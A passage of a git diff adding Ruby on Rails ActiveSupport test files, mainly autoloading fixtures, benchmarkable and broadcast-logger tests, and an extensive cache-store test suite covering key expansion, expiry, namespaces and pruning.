+class ModuleFolder::NestedSibling
+end
\ No newline at end of file
diff --git a/activesupport/test/autoloading_fixtures/module_with_custom_const_missing/a/b.rb b/activesupport/test/autoloading_fixtures/module_with_custom_const_missing/a/b.rb
new file mode 100644
index 0000000..d12d02f
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/module_with_custom_const_missing/a/b.rb
@@ -0,0 +1 @@
+ModuleWithCustomConstMissing::A::B = "10"
\ No newline at end of file
diff --git a/activesupport/test/autoloading_fixtures/multiple_constant_file.rb b/activesupport/test/autoloading_fixtures/multiple_constant_file.rb
new file mode 100644
index 0000000..a9ff4eb
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/multiple_constant_file.rb
@@ -0,0 +1,2 @@
+MultipleConstantFile = 10
+SiblingConstant = MultipleConstantFile * 2
diff --git a/activesupport/test/autoloading_fixtures/raises_name_error.rb b/activesupport/test/autoloading_fixtures/raises_name_error.rb
new file mode 100644
index 0000000..a49960a
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/raises_name_error.rb
@@ -0,0 +1,3 @@
+class RaisesNameError
+ FooBarBaz
+end
diff --git a/activesupport/test/autoloading_fixtures/raises_no_method_error.rb b/activesupport/test/autoloading_fixtures/raises_no_method_error.rb
new file mode 100644
index 0000000..e1b8fce
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/raises_no_method_error.rb
@@ -0,0 +1,3 @@
+class RaisesNoMethodError
+ self.foobar_method_doesnt_exist
+end
diff --git a/activesupport/test/autoloading_fixtures/requires_constant.rb b/activesupport/test/autoloading_fixtures/requires_constant.rb
new file mode 100644
index 0000000..14804a0
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/requires_constant.rb
@@ -0,0 +1,5 @@
+require "loaded_constant"
+
+module RequiresConstant
+end
+
diff --git a/activesupport/test/autoloading_fixtures/should_not_be_required.rb b/activesupport/test/autoloading_fixtures/should_not_be_required.rb
new file mode 100644
index 0000000..1fcf170
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/should_not_be_required.rb
@@ -0,0 +1 @@
+ShouldNotBeAutoloaded = 0
diff --git a/activesupport/test/benchmarkable_test.rb b/activesupport/test/benchmarkable_test.rb
new file mode 100644
index 0000000..04d4f5e
--- /dev/null
+++ b/activesupport/test/benchmarkable_test.rb
@@ -0,0 +1,62 @@
+require 'abstract_unit'
+
+class BenchmarkableTest < ActiveSupport::TestCase
+ include ActiveSupport::Benchmarkable
+
+ attr_reader :buffer, :logger
+
+ class Buffer
+ include Enumerable
+
+ def initialize; @lines = []; end
+ def each(&block); @lines.each(&block); end
+ def write(x); @lines << x; end
+ def close; end
+ def last; @lines.last; end
+ def size; @lines.size; end
+ def empty?; @lines.empty?; end
+ end
+
+ def setup
+ @buffer = Buffer.new
+ @logger = ActiveSupport::Logger.new(@buffer)
+ end
+
+ def test_without_block
+ assert_raise(LocalJumpError) { benchmark }
+ assert buffer.empty?
+ end
+
+ def test_defaults
+ i_was_run = false
+ benchmark { i_was_run = true }
+ assert i_was_run
+ assert_last_logged
+ end
+
+ def test_with_message
+ i_was_run = false
+ benchmark('test_run') { i_was_run = true }
+ assert i_was_run
+ assert_last_logged 'test_run'
+ end
+
+ def test_within_level
+ logger.level = ActiveSupport::Logger::DEBUG
+ benchmark('included_debug_run', :level => :debug) { }
+ assert_last_logged 'included_debug_run'
+ end
+
+ def test_outside_level
+ logger.level = ActiveSupport::Logger::ERROR
+ benchmark('skipped_debug_run', :level => :debug) { }
+ assert_no_match(/skipped_debug_run/, buffer.last)
+ ensure
+ logger.level = ActiveSupport::Logger::DEBUG
+ end
+
+ private
+ def assert_last_logged(message = 'Benchmarking')
+ assert_match(/^#{message} \(.*\)$/, buffer.last)
+ end
+end
diff --git a/activesupport/test/broadcast_logger_test.rb b/activesupport/test/broadcast_logger_test.rb
new file mode 100644
index 0000000..6d4e3b7
--- /dev/null
+++ b/activesupport/test/broadcast_logger_test.rb
@@ -0,0 +1,82 @@
+require 'abstract_unit'
+
+module ActiveSupport
+ class BroadcastLoggerTest < TestCase
+ attr_reader :logger, :log1, :log2
+ def setup
+ @log1 = FakeLogger.new
+ @log2 = FakeLogger.new
+ @log1.extend Logger.broadcast @log2
+ @logger = @log1
+ end
+
+ def test_debug
+ logger.debug "foo"
+ assert_equal 'foo', log1.adds.first[2]
+ assert_equal 'foo', log2.adds.first[2]
+ end
+
+ def test_close
+ logger.close
+ assert log1.closed, 'should be closed'
+ assert log2.closed, 'should be closed'
+ end
+
+ def test_chevrons
+ logger << "foo"
+ assert_equal %w{ foo }, log1.chevrons
+ assert_equal %w{ foo }, log2.chevrons
+ end
+
+ def test_level
+ assert_nil logger.level
+ logger.level = 10
+ assert_equal 10, log1.level
+ assert_equal 10, log2.level
+ end
+
+ def test_progname
+ assert_nil logger.progname
+ logger.progname = 10
+ assert_equal 10, log1.progname
+ assert_equal 10, log2.progname
+ end
+
+ def test_formatter
+ assert_nil logger.formatter
+ logger.formatter = 10
+ assert_equal 10, log1.formatter
+ assert_equal 10, log2.formatter
+ end
+
+ class FakeLogger
+ attr_reader :adds, :closed, :chevrons
+ attr_accessor :level, :progname, :formatter
+
+ def initialize
+ @adds = []
+ @closed = false
+ @chevrons = []
+ @level = nil
+ @progname = nil
+ @formatter = nil
+ end
+
+ def debug msg, &block
+ add(:omg, nil, msg, &block)
+ end
+
+ def << x
+ @chevrons << x
+ end
+
+ def add(*args)
+ @adds << args
+ end
+
+ def close
+ @closed = true
+ end
+ end
+ end
+end
diff --git a/activesupport/test/caching_test.rb b/activesupport/test/caching_test.rb
new file mode 100644
index 0000000..bcc200c
--- /dev/null
+++ b/activesupport/test/caching_test.rb
@@ -0,0 +1,971 @@
+require 'logger'
+require 'abstract_unit'
+require 'active_support/cache'
+require 'dependencies_test_helpers'
+
+class CacheKeyTest < ActiveSupport::TestCase
+ def test_entry_legacy_optional_ivars
+ legacy = Class.new(ActiveSupport::Cache::Entry) do
+ def initialize(value, options = {})
+ @value = value
+ @expires_in = nil
+ @created_at = nil
+ super
+ end
+ end
+
+ entry = legacy.new 'foo'
+ assert_equal 'foo', entry.value
+ end
+
+ def test_expand_cache_key
+ assert_equal '1/2/true', ActiveSupport::Cache.expand_cache_key([1, '2', true])
+ assert_equal 'name/1/2/true', ActiveSupport::Cache.expand_cache_key([1, '2', true], :name)
+ end
+
+ def test_expand_cache_key_with_rails_cache_id
+ begin
+ ENV['RAILS_CACHE_ID'] = 'c99'
+ assert_equal 'c99/foo', ActiveSupport::Cache.expand_cache_key(:foo)
+ assert_equal 'c99/foo', ActiveSupport::Cache.expand_cache_key([:foo])
+ assert_equal 'c99/foo/bar', ActiveSupport::Cache.expand_cache_key([:foo, :bar])
+ assert_equal 'nm/c99/foo', ActiveSupport::Cache.expand_cache_key(:foo, :nm)
+ assert_equal 'nm/c99/foo', ActiveSupport::Cache.expand_cache_key([:foo], :nm)
+ assert_equal 'nm/c99/foo/bar', ActiveSupport::Cache.expand_cache_key([:foo, :bar], :nm)
+ ensure
+ ENV['RAILS_CACHE_ID'] = nil
+ end
+ end
+
+ def test_expand_cache_key_with_rails_app_version
+ begin
+ ENV['RAILS_APP_VERSION'] = 'rails3'
+ assert_equal 'rails3/foo', ActiveSupport::Cache.expand_cache_key(:foo)
+ ensure
+ ENV['RAILS_APP_VERSION'] = nil
+ end
+ end
+
+ def test_expand_cache_key_rails_cache_id_should_win_over_rails_app_version
+ begin
+ ENV['RAILS_CACHE_ID'] = 'c99'
+ ENV['RAILS_APP_VERSION'] = 'rails3'
+ assert_equal 'c99/foo', ActiveSupport::Cache.expand_cache_key(:foo)
+ ensure
+ ENV['RAILS_CACHE_ID'] = nil
+ ENV['RAILS_APP_VERSION'] = nil
+ end
+ end
+
+ def test_expand_cache_key_respond_to_cache_key
+ key = 'foo'
+ def key.cache_key
+ :foo_key
+ end
+ assert_equal 'foo_key', ActiveSupport::Cache.expand_cache_key(key)
+ end
+
+ def test_expand_cache_key_array_with_something_that_responds_to_cache_key
+ key = 'foo'
+ def key.cache_key
+ :foo_key
+ end
+ assert_equal 'foo_key', ActiveSupport::Cache.expand_cache_key([key])
+ end
+
+ def test_expand_cache_key_of_nil
+ assert_equal '', ActiveSupport::Cache.expand_cache_key(nil)
+ end
+
+ def test_expand_cache_key_of_false
+ assert_equal 'false', ActiveSupport::Cache.expand_cache_key(false)
+ end
+
+ def test_expand_cache_key_of_true
+ assert_equal 'true', ActiveSupport::Cache.expand_cache_key(true)
+ end
+
+ def test_expand_cache_key_of_array_like_object
+ assert_equal 'foo/bar/baz', ActiveSupport::Cache.expand_cache_key(%w{foo bar baz}.to_enum)
+ end
+end
+
+class CacheStoreSettingTest < ActiveSupport::TestCase
+ def test_file_fragment_cache_store
+ store = ActiveSupport::Cache.lookup_store :file_store, "/path/to/cache/directory"
+ assert_kind_of(ActiveSupport::Cache::FileStore, store)
+ assert_equal "/path/to/cache/directory", store.cache_path
+ end
+
+ def test_mem_cache_fragment_cache_store
+ Dalli::Client.expects(:new).with(%w[localhost], {})
+ store = ActiveSupport::Cache.lookup_store :mem_cache_store, "localhost"
+ assert_kind_of(ActiveSupport::Cache::MemCacheStore, store)
+ end
+
+ def test_mem_cache_fragment_cache_store_with_given_mem_cache
+ mem_cache = Dalli::Client.new
+ Dalli::Client.expects(:new).never
+ store = ActiveSupport::Cache.lookup_store :mem_cache_store, mem_cache
+ assert_kind_of(ActiveSupport::Cache::MemCacheStore, store)
+ end
+
+ def test_mem_cache_fragment_cache_store_with_given_mem_cache_like_object
+ Dalli::Client.expects(:new).never
+ memcache = Object.new
+ def memcache.get() true end
+ store = ActiveSupport::Cache.lookup_store :mem_cache_store, memcache
+ assert_kind_of(ActiveSupport::Cache::MemCacheStore, store)
+ end
+
+ def test_mem_cache_fragment_cache_store_with_multiple_servers
+ Dalli::Client.expects(:new).with(%w[localhost 192.168.1.1], {})
+ store = ActiveSupport::Cache.lookup_store :mem_cache_store, "localhost", '192.168.1.1'
+ assert_kind_of(ActiveSupport::Cache::MemCacheStore, store)
+ end
+
+ def test_mem_cache_fragment_cache_store_with_options
+ Dalli::Client.expects(:new).with(%w[localhost 192.168.1.1], { :timeout => 10 })
+ store = ActiveSupport::Cache.lookup_store :mem_cache_store, "localhost", '192.168.1.1', :namespace => 'foo', :timeout => 10
+ assert_kind_of(ActiveSupport::Cache::MemCacheStore, store)
+ assert_equal 'foo', store.options[:namespace]
+ end
+
+ def test_object_assigned_fragment_cache_store
+ store = ActiveSupport::Cache.lookup_store ActiveSupport::Cache::FileStore.new("/path/to/cache/directory")
+ assert_kind_of(ActiveSupport::Cache::FileStore, store)
+ assert_equal "/path/to/cache/directory", store.cache_path
+ end
+end
+
+class CacheStoreNamespaceTest < ActiveSupport::TestCase
+ def test_static_namespace
+ cache = ActiveSupport::Cache.lookup_store(:memory_store, :namespace => "tester")
+ cache.write("foo", "bar")
+ assert_equal "bar", cache.read("foo")
+ assert_equal "bar", cache.instance_variable_get(:@data)["tester:foo"].value
+ end
+
+ def test_proc_namespace
+ test_val = "tester"
+ proc = lambda{test_val}
+ cache = ActiveSupport::Cache.lookup_store(:memory_store, :namespace => proc)
+ cache.write("foo", "bar")
+ assert_equal "bar", cache.read("foo")
+ assert_equal "bar", cache.instance_variable_get(:@data)["tester:foo"].value
+ end
+
+ def test_delete_matched_key_start
+ cache = ActiveSupport::Cache.lookup_store(:memory_store, :namespace => "tester")
+ cache.write("foo", "bar")
+ cache.write("fu", "baz")
+ cache.delete_matched(/^fo/)
+ assert !cache.exist?("foo")
+ assert cache.exist?("fu")
+ end
+
+ def test_delete_matched_key
+ cache = ActiveSupport::Cache.lookup_store(:memory_store, :namespace => "foo")
+ cache.write("foo", "bar")
+ cache.write("fu", "baz")
+ cache.delete_matched(/OO/i)
+ assert !cache.exist?("foo")
+ assert cache.exist?("fu")
+ end
+end
+
+# Tests the base functionality that should be identical across all cache stores.
+module CacheStoreBehavior
+ def test_should_read_and_write_strings
+ assert @cache.write('foo', 'bar')
+ assert_equal 'bar', @cache.read('foo')
+ end
+
+ def test_should_overwrite
+ @cache.write('foo', 'bar')
+ @cache.write('foo', 'baz')
+ assert_equal 'baz', @cache.read('foo')
+ end
+
+ def test_fetch_without_cache_miss
+ @cache.write('foo', 'bar')
+ @cache.expects(:write).never
+ assert_equal 'bar', @cache.fetch('foo') { 'baz' }
+ end
+
+ def test_fetch_with_cache_miss
+ @cache.expects(:write).with('foo', 'baz', @cache.options)
+ assert_equal 'baz', @cache.fetch('foo') { 'baz' }
+ end
+
+ def test_fetch_with_cache_miss_passes_key_to_block
+ cache_miss = false
+ assert_equal 3, @cache.fetch('foo') { |key| cache_miss = true; key.length }
+ assert cache_miss
+
+ cache_miss = false
+ assert_equal 3, @cache.fetch('foo') { |key| cache_miss = true; key.length }
+ assert !cache_miss
+ end
+
+ def test_fetch_with_forced_cache_miss
+ @cache.write('foo', 'bar')
+ @cache.expects(:read).never
+ @cache.expects(:write).with('foo', 'bar', @cache.options.merge(:force => true))
+ @cache.fetch('foo', :force => true) { 'bar' }
+ end
+
+ def test_fetch_with_cached_nil
+ @cache.write('foo', nil)
+ @cache.expects(:write).never
+ assert_nil @cache.fetch('foo') { 'baz' }
+ end
+
+ def test_should_read_and_write_hash
+ assert @cache.write('foo', {:a => "b"})
+ assert_equal({:a => "b"}, @cache.read('foo'))
+ end
+
+ def test_should_read_and_write_integer
+ assert @cache.write('foo', 1)
+ assert_equal 1, @cache.read('foo')
+ end
+
+ def test_should_read_and_write_nil
+ assert @cache.write('foo', nil)
+ assert_equal nil, @cache.read('foo')
+ end
+
+ def test_should_read_and_write_false
+ assert @cache.write('foo', false)
+ assert_equal false, @cache.read('foo')
+ end
+
+ def test_read_multi
+ @cache.write('foo', 'bar')
+ @cache.write('fu', 'baz')
+ @cache.write('fud', 'biz')
+ assert_equal({"foo" => "bar", "fu" => "baz"}, @cache.read_multi('foo', 'fu'))
+ end
+
+ def test_read_multi_with_expires
+ time = Time.now
+ @cache.write('foo', 'bar', :expires_in => 10)
+ @cache.write('fu', 'baz')
+ @cache.write('fud', 'biz')
+ Time.stubs(:now).returns(time + 11)
+ assert_equal({"fu" => "baz"}, @cache.read_multi('foo', 'fu'))
+ end
+
+ def test_read_and_write_compressed_small_data
+ @cache.write('foo', 'bar', :compress => true)
+ assert_equal 'bar', @cache.read('foo')
+ end
+
+ def test_read_and_write_compressed_large_data
+ @cache.write('foo', 'bar', :compress => true, :compress_threshold => 2)
+ assert_equal 'bar', @cache.read('foo')
+ end
+
+ def test_read_and_write_compressed_nil
+ @cache.write('foo', nil, :compress => true)
+ assert_nil @cache.read('foo')
+ end
+
+ def test_cache_key
+ obj = Object.new
+ def obj.cache_key
+ :foo
+ end
+ @cache.write(obj, "bar")
+ assert_equal "bar", @cache.read("foo")
+ end
+
+ def test_param_as_cache_key
+ obj = Object.new
+ def obj.to_param
+ "foo"
+ end
+ @cache.write(obj, "bar")
+ assert_equal "bar", @cache.read("foo")
+ end
+
+ def test_array_as_cache_key
+ @cache.write([:fu, "foo"], "bar")
+ assert_equal "bar", @cache.read("fu/foo")
+ end
+
+ def test_hash_as_cache_key
+ @cache.write({:foo => 1, :fu => 2}, "bar")
+ assert_equal "bar", @cache.read("foo=1/fu=2")
+ end
+
+ def test_keys_are_case_sensitive
+ @cache.write("foo", "bar")
+ assert_nil @cache.read("FOO")
+ end
+
+ def test_exist
+ @cache.write('foo', 'bar')
+ assert @cache.exist?('foo')
+ assert !@cache.exist?('bar')
+ end
+
+ def test_nil_exist
+ @cache.write('foo', nil)
+ assert @cache.exist?('foo')
+ end
+
+ def test_delete
+ @cache.write('foo', 'bar')
+ assert @cache.exist?('foo')
+ assert @cache.delete('foo')
+ assert !@cache.exist?('foo')
+ end
+
+ def test_original_store_objects_should_not_be_immutable
+ bar = 'bar'
+ @cache.write('foo', bar)
+ assert_nothing_raised { bar.gsub!(/.*/, 'baz') }
+ end
+
+ def test_expires_in
+ time = Time.local(2008, 4, 24)
+ Time.stubs(:now).returns(time)
+
+ @cache.write('foo', 'bar')
+ assert_equal 'bar', @cache.read('foo')
+
+ Time.stubs(:now).returns(time + 30)
+ assert_equal 'bar', @cache.read('foo')
+
+ Time.stubs(:now).returns(time + 61)
+ assert_nil @cache.read('foo')
+ end
+
+ def test_race_condition_protection
+ time = Time.now
+ @cache.write('foo', 'bar', :expires_in => 60)
+ Time.stubs(:now).returns(time + 61)
+ result = @cache.fetch('foo', :race_condition_ttl => 10) do
+ assert_equal 'bar', @cache.read('foo')
+ "baz"
+ end
+ assert_equal "baz", result
+ end
+
+ def test_race_condition_protection_is_limited
+ time = Time.now
+ @cache.write('foo', 'bar', :expires_in => 60)
+ Time.stubs(:now).returns(time + 71)
+ result = @cache.fetch('foo', :race_condition_ttl => 10) do
+ assert_equal nil, @cache.read('foo')
+ "baz"
+ end
+ assert_equal "baz", result
+ end
+
+ def test_race_condition_protection_is_safe
+ time = Time.now
+ @cache.write('foo', 'bar', :expires_in => 60)
+ Time.stubs(:now).returns(time + 61)
+ begin
+ @cache.fetch('foo', :race_condition_ttl => 10) do
+ assert_equal 'bar', @cache.read('foo')
+ raise ArgumentError.new
+ end
+ rescue ArgumentError
+ end
+ assert_equal "bar", @cache.read('foo')
+ Time.stubs(:now).returns(time + 91)
+ assert_nil @cache.read('foo')
+ end
+
+ def test_crazy_key_characters
+ crazy_key = "#/:*(<+=> )&$%@?;'\"\'`~-"
+ assert @cache.write(crazy_key, "1", :raw => true)
+ assert_equal "1", @cache.read(crazy_key)
+ assert_equal "1", @cache.fetch(crazy_key)
+ assert @cache.delete(crazy_key)
+ assert_equal "2", @cache.fetch(crazy_key, :raw => true) { "2" }
+ assert_equal 3, @cache.increment(crazy_key)
+ assert_equal 2, @cache.decrement(crazy_key)
+ end
+
+ def test_really_long_keys
+ key = ""
+ 900.times{key << "x"}
+ assert @cache.write(key, "bar")
+ assert_equal "bar", @cache.read(key)
+ assert_equal "bar", @cache.fetch(key)
+ assert_nil @cache.read("#{key}x")
+ assert_equal({key => "bar"}, @cache.read_multi(key))
+ assert @cache.delete(key)
+ end
+end
+
+# https://rails.lighthouseapp.com/projects/8994/tickets/6225-memcachestore-cant-deal-with-umlauts-and-special-characters
+# The error is caused by character encodings that can't be compared with ASCII-8BIT regular expressions and by special
+# characters like the umlaut in UTF-8.
+module EncodedKeyCacheBehavior
+ Encoding.list.each do |encoding|
+ define_method "test_#{encoding.name.underscore}_encoded_values" do
+ key = "foo".force_encoding(encoding)
+ assert @cache.write(key, "1", :raw => true)
+ assert_equal "1", @cache.read(key)
+ assert_equal "1", @cache.fetch(key)
+ assert @cache.delete(key)
+ assert_equal "2", @cache.fetch(key, :raw => true) { "2" }
+ assert_equal 3, @cache.increment(key)
+ assert_equal 2, @cache.decrement(key)
+ end
+ end
+
+ def test_common_utf8_values
+ key = "\xC3\xBCmlaut".force_encoding(Encoding::UTF_8)
+ assert @cache.write(key, "1", :raw => true)
+ assert_equal "1", @cache.read(key)
+ assert_equal "1", @cache.fetch(key)
+ assert @cache.delete(key)
+ assert_equal "2", @cache.fetch(key, :raw => true) { "2" }
+ assert_equal 3, @cache.increment(key)
+ assert_equal 2, @cache.decrement(key)
+ end
+
+ def test_retains_encoding
+ key = "\xC3\xBCmlaut".force_encoding(Encoding::UTF_8)
+ assert @cache.write(key, "1", :raw => true)
+ assert_equal Encoding::UTF_8, key.encoding
+ end
+end
+
+module CacheDeleteMatchedBehavior
+ def test_delete_matched
+ @cache.write("foo", "bar")
+ @cache.write("fu", "baz")
+ @cache.write("foo/bar", "baz")
+ @cache.write("fu/baz", "bar")
+ @cache.delete_matched(/oo/)
+ assert !@cache.exist?("foo")
+ assert @cache.exist?("fu")
+ assert !@cache.exist?("foo/bar")
+ assert @cache.exist?("fu/baz")
+ end
+end
+
+module CacheIncrementDecrementBehavior
+ def test_increment
+ @cache.write('foo', 1, :raw => true)
+ assert_equal 1, @cache.read('foo').to_i
+ assert_equal 2, @cache.increment('foo')
+ assert_equal 2, @cache.read('foo').to_i
+ assert_equal 3, @cache.increment('foo')
+ assert_equal 3, @cache.read('foo').to_i
+ assert_nil @cache.increment('bar')
+ end
+
+ def test_decrement
+ @cache.write('foo', 3, :raw => true)
+ assert_equal 3, @cache.read('foo').to_i
+ assert_equal 2, @cache.decrement('foo')
+ assert_equal 2, @cache.read('foo').to_i
+ assert_equal 1, @cache.decrement('foo')
+ assert_equal 1, @cache.read('foo').to_i
+ assert_nil @cache.decrement('bar')
+ end
+end
+
+module LocalCacheBehavior
+ def test_local_writes_are_persistent_on_the_remote_cache
+ retval = @cache.with_local_cache do
+ @cache.write('foo', 'bar')
+ end
+ assert retval
+ assert_equal 'bar', @cache.read('foo')
+ end
+
+ def test_clear_also_clears_local_cache
+ @cache.with_local_cache do
+ @cache.write('foo', 'bar')
+ @cache.clear
+ assert_nil @cache.read('foo')
+ end
+
+ assert_nil @cache.read('foo')
+ end
+
+ def test_local_cache_of_write
+ @cache.with_local_cache do
+ @cache.write('foo', 'bar')
+ @peek.delete('foo')
+ assert_equal 'bar', @cache.read('foo')
+ end
+ end
+
+ def test_local_cache_of_read
+ @cache.write('foo', 'bar')
+ @cache.with_local_cache do
+ assert_equal 'bar', @cache.read('foo')
+ end
+ end
+
+ def test_local_cache_of_write_nil
+ @cache.with_local_cache do
+ assert @cache.write('foo', nil)
+ assert_nil @cache.read('foo')
+ @peek.write('foo', 'bar')
+ assert_nil @cache.read('foo')
+ end
+ end
+
+ def test_local_cache_of_delete
+ @cache.with_local_cache do
+ @cache.write('foo', 'bar')
+ @cache.delete('foo')
+ assert_nil @cache.read('foo')
+ end
+ end
+
+ def test_local_cache_of_exist
+ @cache.with_local_cache do
+ @cache.write('foo', 'bar')
+ @peek.delete('foo')
+ assert @cache.exist?('foo')
+ end
+ end
+
+ def test_local_cache_of_increment
+ @cache.with_local_cache do
+ @cache.write('foo', 1, :raw => true)
+ @peek.write('foo', 2, :raw => true)
+ @cache.increment('foo')
+ assert_equal 3, @cache.read('foo')
+ end
+ end
+
+ def test_local_cache_of_decrement
+ @cache.with_local_cache do
+ @cache.write('foo', 1, :raw => true)
+ @peek.write('foo', 3, :raw => true)
+ @cache.decrement('foo')
+ assert_equal 2, @cache.read('foo')
+ end
+ end
+
+ def test_middleware
+ app = lambda { |env|
+ result = @cache.write('foo', 'bar')
+ assert_equal 'bar', @cache.read('foo') # make sure 'foo' was written
+ assert result
+ }
+ app = @cache.middleware.new(app)
+ app.call({})
+ end
+end
+
+module AutoloadingCacheBehavior
+ include DependenciesTestHelpers
+ def test_simple_autoloading
+ with_autoloading_fixtures do
+ @cache.write('foo', E.new)
+ end
+
+ remove_constants(:E)
+ ActiveSupport::Dependencies.clear
+
+ with_autoloading_fixtures do
+ assert_kind_of E, @cache.read('foo')
+ end
+
+ remove_constants(:E)
+ ActiveSupport::Dependencies.clear
+ end
+
+ def test_two_classes_autoloading
+ with_autoloading_fixtures do
+ @cache.write('foo', [E.new, ClassFolder.new])
+ end
+
+ remove_constants(:E, :ClassFolder)
+ ActiveSupport::Dependencies.clear
+
+ with_autoloading_fixtures do
+ loaded = @cache.read('foo')
+ assert_kind_of Array, loaded
+ assert_equal 2, loaded.size
+ assert_kind_of E, loaded[0]
+ assert_kind_of ClassFolder, loaded[1]
+ end
+
+ remove_constants(:E, :ClassFolder)
+ ActiveSupport::Dependencies.clear
+ end
+end
+
+class FileStoreTest < ActiveSupport::TestCase
+ def setup
+ Dir.mkdir(cache_dir) unless File.exist?(cache_dir)
+ @cache = ActiveSupport::Cache.lookup_store(:file_store, cache_dir, :expires_in => 60)
+ @peek = ActiveSupport::Cache.lookup_store(:file_store, cache_dir, :expires_in => 60)
+ @cache_with_pathname = ActiveSupport::Cache.lookup_store(:file_store, Pathname.new(cache_dir), :expires_in => 60)
+
+ @buffer = StringIO.new
+ @cache.logger = ActiveSupport::Logger.new(@buffer)
+ end
+
+ def teardown
+ FileUtils.rm_r(cache_dir)
+ end
+
+ def cache_dir
+ File.join(Dir.pwd, 'tmp_cache')
+ end
+
+ include CacheStoreBehavior
+ include LocalCacheBehavior
+ include CacheDeleteMatchedBehavior
+ include CacheIncrementDecrementBehavior
+ include AutoloadingCacheBehavior
+
+ def test_clear
+ filepath = File.join(cache_dir, ".gitkeep")
+ FileUtils.touch(filepath)
+ @cache.clear
+ assert File.exist?(filepath)
+ end
+
+ def test_key_transformation
+ key = @cache.send(:key_file_path, "views/index?id=1")
+ assert_equal "views/index?id=1", @cache.send(:file_path_key, key)
+ end
+
+ def test_key_transformation_with_pathname
+ FileUtils.touch(File.join(cache_dir, "foo"))
+ key = @cache_with_pathname.send(:key_file_path, "views/index?id=1")
+ assert_equal "views/index?id=1", @cache_with_pathname.send(:file_path_key, key)
+ end
+
+ # Test that generated cache keys are short enough to have Tempfile stuff added to them and
+ # remain valid
+ def test_filename_max_size
+ key = "#{'A' * ActiveSupport::Cache::FileStore::FILENAME_MAX_SIZE}"
+ path = @cache.send(:key_file_path, key)
+ Dir::Tmpname.create(path) do |tmpname, n, opts|
+ assert File.basename(tmpname+'.lock').length <= 255, "Temp filename too long: #{File.basename(tmpname+'.lock').length}"
+ end
+ end
+
+ # Because file systems have a maximum filename size, filenames > max size should be split in to directories
+ # If filename is 'AAAAB', where max size is 4, the returned path should be AAAA/B
+ def test_key_transformation_max_filename_size
+ key = "#{'A' * ActiveSupport::Cache::FileStore::FILENAME_MAX_SIZE}B"
+ path = @cache.send(:key_file_path, key)
+ assert path.split('/').all? { |dir_name| dir_name.size <= ActiveSupport::Cache::FileStore::FILENAME_MAX_SIZE}
+ assert_equal 'B', File.basename(path)
+ end
+
+ # If nothing has been stored in the cache, there is a chance the cache directory does not yet exist
+ # Ensure delete_matched gracefully handles this case
+ def test_delete_matched_when_cache_directory_does_not_exist
+ assert_nothing_raised(Exception) do
+ ActiveSupport::Cache::FileStore.new('/test/cache/directory').delete_matched(/does_not_exist/)
+ end
+ end
+
+ def test_delete_does_not_delete_empty_parent_dir
+ sub_cache_dir = File.join(cache_dir, 'subdir/')
+ sub_cache_store = ActiveSupport::Cache::FileStore.new(sub_cache_dir)
+ assert_nothing_raised(Exception) do
+ assert sub_cache_store.write('foo', 'bar')
+ assert sub_cache_store.delete('foo')
+ end
+ assert File.exist?(cache_dir), "Parent of top level cache dir was deleted!"
+ assert File.exist?(sub_cache_dir), "Top level cache dir was deleted!"
+ assert Dir.entries(sub_cache_dir).reject {|f| ActiveSupport::Cache::FileStore::EXCLUDED_DIRS.include?(f)}.empty?
+ end
+
+ def test_log_exception_when_cache_read_fails
+ File.expects(:exist?).raises(StandardError, "failed")
+ @cache.send(:read_entry, "winston", {})
+ assert @buffer.string.present?
+ end
+end
+
+class MemoryStoreTest < ActiveSupport::TestCase
+ def setup
+ @record_size = ActiveSupport::Cache::Entry.new("aaaaaaaaaa").size
+ @cache = ActiveSupport::Cache.lookup_store(:memory_store, :expires_in => 60, :size => @record_size * 10)
+ end
+
+ include CacheStoreBehavior
+ include CacheDeleteMatchedBehavior
+ include CacheIncrementDecrementBehavior
+
+ def test_prune_size
+ @cache.write(1, "aaaaaaaaaa") && sleep(0.001)
+ @cache.write(2, "bbbbbbbbbb") && sleep(0.001)
+ @cache.write(3, "cccccccccc") && sleep(0.001)
+ @cache.write(4, "dddddddddd") && sleep(0.001)
+ @cache.write(5, "eeeeeeeeee") && sleep(0.001)
+ @cache.read(2) && sleep(0.001)
+ @cache.read(4)
+ @cache.prune(@record_size * 3)
+ assert @cache.exist?(5)
+ assert @cache.exist?(4)
+ assert !@cache.exist?(3), "no entry"
+ assert @cache.exist?(2)
+ assert !@cache.exist?(1), "no entry"
+ end
+
+ def test_prune_size_on_write
+ @cache.write(1, "aaaaaaaaaa") && sleep(0.001)
+ @cache.write(2, "bbbbbbbbbb") && sleep(0.001)
+ @cache.write(3, "cccccccccc") && sleep(0.001)
+ @cache.write(4, "dddddddddd") && sleep(0.001)
+ @cache.write(5, "eeeeeeeeee") && sleep(0.001)
+ @cache.write(6, "ffffffffff") && sleep(0.001)
+ @cache.write(7, "gggggggggg") && sleep(0.001)
+ @cache.write(8, "hhhhhhhhhh") && sleep(0.001)
+ @cache.write(9, "iiiiiiiiii") && sleep(0.001)
+ @cache.write(10, "kkkkkkkkkk") && sleep(0.001)
+ @cache.read(2) && sleep(0.001)
+ @cache.read(4) && sleep(0.001)
+ @cache.write(11, "llllllllll")
+ assert @cache.exist?(11)
+ assert @cache.exist?(10)
+ assert @cache.exist?(9)
+ assert @cache.exist?(8)
+ assert @cache.exist?(7)
+ assert !@cache.exist?(6), "no entry"
+ assert !@cache.exist?(5), "no entry"
+ assert @cache.exist?(4)
+ assert !@cache.exist?(3), "no entry"
+ assert @cache.exist?(2)
+ assert !@cache.exist?(1), "no entry"
+ end
+
+ def test_pruning_is_capped_at_a_max_time
+ def @cache.delete_entry (*args)
+ sleep(0.01)
+ super
+ end
+ @cache.write(1, "aaaaaaaaaa") && sleep(0.001)
+ @cache.write(2, "bbbbbbbbbb") && sleep(0.001)
+ @cache.write(3, "cccccccccc") && sleep(0.001)
+ @cache.write(4, "dddddddddd") && sleep(0.001)
+ @cache.write(5, "eeeeeeeeee") && sleep(0.001)
+ @cache.prune(30, 0.001)
+ assert @cache.exist?(5)
+ assert @cache.exist?(4)
+ assert @cache.exist?(3)
+ assert @cache.exist?(2)
+ assert !@cache.exist?(1)
+ end
+
+ def test_write_with_unless_exist
+ assert_equal true, @cache.write(1, "aaaaaaaaaa")
+ assert_equal false, @cache.write(1, "aaaaaaaaaa", :unless_exist => true)
+ @cache.write(1, nil)
